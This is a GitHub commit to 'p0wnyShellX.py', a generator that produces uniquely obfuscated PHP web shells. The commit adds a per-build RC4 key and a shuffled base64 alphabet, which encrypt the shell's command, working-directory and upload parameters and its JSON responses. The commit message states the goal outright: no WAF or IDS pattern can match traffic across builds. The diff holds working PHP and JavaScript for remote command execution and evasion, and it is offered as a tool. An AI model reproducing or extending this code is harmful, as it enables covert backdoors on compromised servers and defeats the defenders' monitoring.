Skip to content

Commit 40450c0

Browse files
committed
Add polymorphic RC4+base64 transport layer
Each build generates a unique 16-byte RC4 key and a shuffled base64 alphabet, baked into both the PHP and JS sides at generation time. All AJAX POST params are RC4+customB64 encoded by the JS before sending; PHP decodes them with the same key. The response (JSON) is encoded by PHP before sending; JS decodes it. No key is transmitted — everything is embedded in the generated file. Result: two deployments of the same shell produce completely different wire traffic. No static WAF/IDS pattern can match across builds.
1 parent d4782ba commit 40450c0

1 file changed

Lines changed: 66 additions & 14 deletions

File tree

p0wnyShellX.py

Lines changed: 66 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -261,6 +261,18 @@ def compute_bcrypt_hash(password: str, cost: int = 12, seed: int = None) -> str:
261261
print("[!] php not found — falling back to hex encoding (less secure)", file=sys.stderr)
262262
return None
263263

264+
# ─────────────────────────────────────────────────────────────────────────────
265+
# TRANSPORT KEYS (RC4 key + shuffled base64 alphabet, unique per build)
266+
# ─────────────────────────────────────────────────────────────────────────────
267+
268+
def generate_transport_keys(rng: random.Random) -> tuple:
269+
rc4_key_bytes = [rng.randint(0, 255) for _ in range(16)]
270+
rc4_key_hex = ''.join(f'{b:02x}' for b in rc4_key_bytes)
271+
alphabet = list('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')
272+
rng.shuffle(alphabet)
273+
b64_alpha = ''.join(alphabet)
274+
return rc4_key_hex, rc4_key_bytes, b64_alpha
275+
264276
# ─────────────────────────────────────────────────────────────────────────────
265277
# THÈMES CSS
266278
# ─────────────────────────────────────────────────────────────────────────────
@@ -334,9 +346,11 @@ def pick(pool, used, rng):
334346

335347
def build_php_section(n, jv, ids, route_param, routes, session_key_val,
336348
bcrypt_hash, username, junk_before, junk_after,
337-
case_order, theme, ver, rng):
349+
case_order, theme, ver, rng,
350+
rc4_key_hex, rc4_key_bytes, b64_alpha):
338351
T = CSS_THEMES[theme]
339352
cfg = n['cfg_var']
353+
rc4_key_bytes_js = ','.join(str(b) for b in rc4_key_bytes)
340354

341355
# ── Exécution du fallback: ordre randomisé ──
342356
fallback_methods = list(range(5))
@@ -377,8 +391,8 @@ def build_php_section(n, jv, ids, route_param, routes, session_key_val,
377391
case_blocks = {
378392
'shell': (
379393
f" case '{routes['shell']}':\n"
380-
f" $cmd = $_POST['cmd'] ?? '';\n"
381-
f" $cwd = $_POST['cwd'] ?? getcwd();\n"
394+
f" $cmd = tDec($_POST['cmd'] ?? '');\n"
395+
f" $cwd = tDec($_POST['cwd'] ?? '') ?: getcwd();\n"
382396
f" if (!preg_match('/2>/', $cmd)) {{ $cmd .= ' 2>&1'; }}\n"
383397
f" $response = {n['resolve_task']}($cmd, $cwd);\n"
384398
f" break;"
@@ -391,17 +405,17 @@ def build_php_section(n, jv, ids, route_param, routes, session_key_val,
391405
'hint': (
392406
f" case '{routes['hint']}':\n"
393407
f" $response = {n['tab_complete']}(\n"
394-
f" $_POST['filename'] ?? '',\n"
395-
f" $_POST['cwd'] ?? getcwd(),\n"
396-
f" $_POST['type'] ?? 'file'\n"
408+
f" tDec($_POST['filename'] ?? ''),\n"
409+
f" tDec($_POST['cwd'] ?? '') ?: getcwd(),\n"
410+
f" tDec($_POST['type'] ?? '') ?: 'file'\n"
397411
f" );\n"
398412
f" break;"
399413
),
400414
'upload': (
401415
f" case '{routes['upload']}':\n"
402-
f" $path = $_POST['path'] ?? null;\n"
403-
f" $file = $_POST['file'] ?? null;\n"
404-
f" $cwd = $_POST['cwd'] ?? getcwd();\n"
416+
f" $path = tDec($_POST['path'] ?? '');\n"
417+
f" $file = tDec($_POST['file'] ?? '');\n"
418+
f" $cwd = tDec($_POST['cwd'] ?? '') ?: getcwd();\n"
405419
f" $response = ($path && $file)\n"
406420
f" ? {n['write_file']}($path, $file, $cwd)\n"
407421
f" : ['stdout' => base64_encode('Missing parameters.'), 'cwd' => base64_encode(getcwd())];\n"
@@ -736,13 +750,26 @@ def build_php_section(n, jv, ids, route_param, routes, session_key_val,
736750
exit;
737751
}}
738752
753+
define('__TK', hex2bin('{rc4_key_hex}'));
754+
define('__TA', '{b64_alpha}');
755+
define('__TS', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/');
756+
function __trc4(string $d): string {{
757+
$k=__TK; $s=range(0,255); $j=0;
758+
for($i=0;$i<256;$i++){{$j=($j+$s[$i]+ord($k[$i%strlen($k)]))%256;[$s[$i],$s[$j]]=[$s[$j],$s[$i]];}}
759+
$i=$j=0; $o='';
760+
for($n=0;$n<strlen($d);$n++){{$i=($i+1)%256;$j=($j+$s[$i])%256;[$s[$i],$s[$j]]=[$s[$j],$s[$i]];$o.=chr(ord($d[$n])^$s[($s[$i]+$s[$j])%256]);}}
761+
return $o;
762+
}}
763+
function tEnc(string $d): string {{ return strtr(base64_encode(__trc4($d)), __TS, __TA); }}
764+
function tDec(string $d): string {{ return __trc4(base64_decode(strtr($d, __TA, __TS))); }}
765+
739766
if (isset($_GET['{route_param}'])) {{
740767
$response = null;
741768
switch ($_GET['{route_param}']) {{
742769
{switch_body}
743770
}}
744-
header("Content-Type: application/json");
745-
echo json_encode($response);
771+
header("Content-Type: text/plain");
772+
echo tEnc(json_encode($response));
746773
exit;
747774
}} else {{
748775
{n['get_env_info']}();
@@ -823,18 +850,39 @@ def build_php_section(n, jv, ids, route_param, routes, session_key_val,
823850
{jfn['e_content']}.scrollTop = {jfn['e_content']}.scrollHeight;
824851
}}
825852
853+
var __TK=[{rc4_key_bytes_js}];
854+
var __TS='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
855+
var __TA='{b64_alpha}';
856+
function __trc4(k,b){{
857+
var s=[],i,j=0,t;
858+
for(i=0;i<256;i++)s[i]=i;
859+
for(i=0;i<256;i++){{j=(j+s[i]+k[i%k.length])&255;t=s[i];s[i]=s[j];s[j]=t;}}
860+
i=0;j=0;
861+
return b.map(function(x){{i=(i+1)&255;j=(j+s[i])&255;t=s[i];s[i]=s[j];s[j]=t;return x^s[(s[i]+s[j])&255];}});
862+
}}
863+
function tEnc(s){{
864+
var b=__trc4(__TK,[].map.call(s,function(c){{return c.charCodeAt(0)}}));
865+
var r=btoa(b.reduce(function(a,x){{return a+String.fromCharCode(x)}},''));
866+
return r.split('').map(function(c){{return c==='='?'=':__TA[__TS.indexOf(c)]}}).join('');
867+
}}
868+
function tDec(s){{
869+
var b64=s.split('').map(function(c){{return c==='='?'=':__TS[__TA.indexOf(c)]}}).join('');
870+
var raw=[].map.call(atob(b64),function(c){{return c.charCodeAt(0)}});
871+
return __trc4(__TK,raw).reduce(function(a,x){{return a+String.fromCharCode(x)}},'');
872+
}}
873+
826874
function {jfn['pipe_call']}(url, params, callback) {{
827875
if (typeof url !== "string" || !url.trim()) return;
828876
var qs = Object.keys(params).map(function(k) {{
829-
return encodeURIComponent(k) + "=" + encodeURIComponent(params[k]);
877+
return encodeURIComponent(k) + "=" + encodeURIComponent(tEnc(String(params[k])));
830878
}}).join("&");
831879
var xhr = new XMLHttpRequest();
832880
xhr.open("POST", url, true);
833881
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
834882
xhr.onreadystatechange = function() {{
835883
if (xhr.readyState === 4) {{
836884
if (xhr.status === 200) {{
837-
try {{ callback(JSON.parse(xhr.responseText)); }}
885+
try {{ callback(JSON.parse(tDec(xhr.responseText))); }}
838886
catch(e) {{ {jfn['insert_stdout']}("Malformed response."); }}
839887
}} else {{
840888
{jfn['insert_stdout']}("Request failed [" + xhr.status + "]");
@@ -1129,10 +1177,14 @@ def generate(args):
11291177
# Version
11301178
ver = f"{rng.randint(1,9)}.{rng.randint(0,9)}.{rng.randint(0,999)}"
11311179

1180+
# Transport keys (RC4 + shuffled base64 alphabet)
1181+
rc4_key_hex, rc4_key_bytes, b64_alpha = generate_transport_keys(rng)
1182+
11321183
return build_php_section(
11331184
n, jv, ids, route_param, routes, session_key_val,
11341185
bcrypt_hash, args.user, junk_before, junk_after,
1135-
case_order, theme, ver, rng
1186+
case_order, theme, ver, rng,
1187+
rc4_key_hex, rc4_key_bytes, b64_alpha
11361188
)
11371189

11381190
# ─────────────────────────────────────────────────────────────────────────────

0 commit comments

Comments
 (0)